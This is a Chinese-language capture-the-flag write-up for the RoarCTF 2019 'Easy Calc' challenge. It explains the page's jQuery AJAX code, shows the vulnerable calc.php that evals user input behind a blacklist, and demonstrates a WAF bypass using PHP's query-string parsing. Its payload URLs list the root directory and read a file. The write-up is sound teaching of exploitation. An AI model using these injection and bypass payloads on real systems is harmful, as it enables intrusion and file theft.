自用
源代碼
$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("這啥?算不來!");}})return false;})
代碼解釋
代碼語言涉及:?jQuery,AJAX
表單提交事件綁定
$('#calc').submit(function(){// ...return false;
});
$('#calc')
:使用 jQuery 選擇器選中 ID 為?calc
?的表單元素。.submit()
:為表單元素綁定提交事件,當表單提交時會觸發傳入的回調函數。return false;
:阻止表單的默認提交行為,防止頁面刷新。
??AJAX 請求
$.ajax({url: "calc.php?num=" + encodeURIComponent($("#content").val()),type: 'GET',success: function(data) {// ...},error: function() {// ...}
});
$.ajax()
:jQuery 提供的用于發起 AJAX 請求的函數,接受一個配置對象作為參數。url
:請求的 URL,這里將 ID 為?content
?的輸入框中的值進行編碼后作為?num
?參數添加到?calc.php
?的 URL 后面。encodeURIComponent()
?函數用于對特殊字符進行編碼,確保參數傳遞的正確性。type
:請求的類型,這里使用?GET
?請求。success
:請求成功時的回調函數,data
?參數表示服務器返回的數據。error
:請求失敗時的回調函數。
成功回調函數?
success: function(data) {$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);
}
$("#result")
:使用 jQuery 選擇器選中 ID 為?result
?的元素。.html()
:將指定的 HTML 內容插入到選中元素中。這里使用了模板字符串(ES6 特性)將服務器返回的結果?data
?插入到一個帶有?alert alert-success
?類的?div
?元素中
錯誤回調函數??
error: function() {alert("這啥?算不來!");
}
做法
看見源代碼中有calc.php,訪問得到源碼
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
用system()或者exec()執行?
不行--在 phpinfo 中可以發現 system、exec 這一類命令執行的函數被禁用了
我們知道PHP將查詢字符串(在URL或正文中)轉換為內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。如果一個IDS/IPS或WAF中有一條規則是當news_id參數的值是一個非數字的值則攔截,那么我們就可以用以下語句繞過:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP語句的參數%20news[id%00的值將存儲到$_GET[“news_id”]中。
HP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:
1.刪除空白符
2.將某些字符轉換為下劃線(包括空格)
?顯示用
var_dump()或print_r()
,當前目錄用scandir()
,屏蔽/
可用chr(47)代替
,查看文件用file_get_content()
或highlight_file()
http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(scandir(chr(47)))
發現f1agg文件
查看文件用file_get_content()或者highlight_file()
http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(file_get_contents(chr(47).f1agg))
?參考文章:[RoarCTF 2019]Easy Calc_[roarctf 2019]easy calc 1-CSDN博客
利用PHP的字符串解析特性Bypass - FreeBuf網絡安全行業門戶
【BUUCTF】[RoarCTF 2019]Easy Calc1_[roarctf 2019]easy calc 1-CSDN博客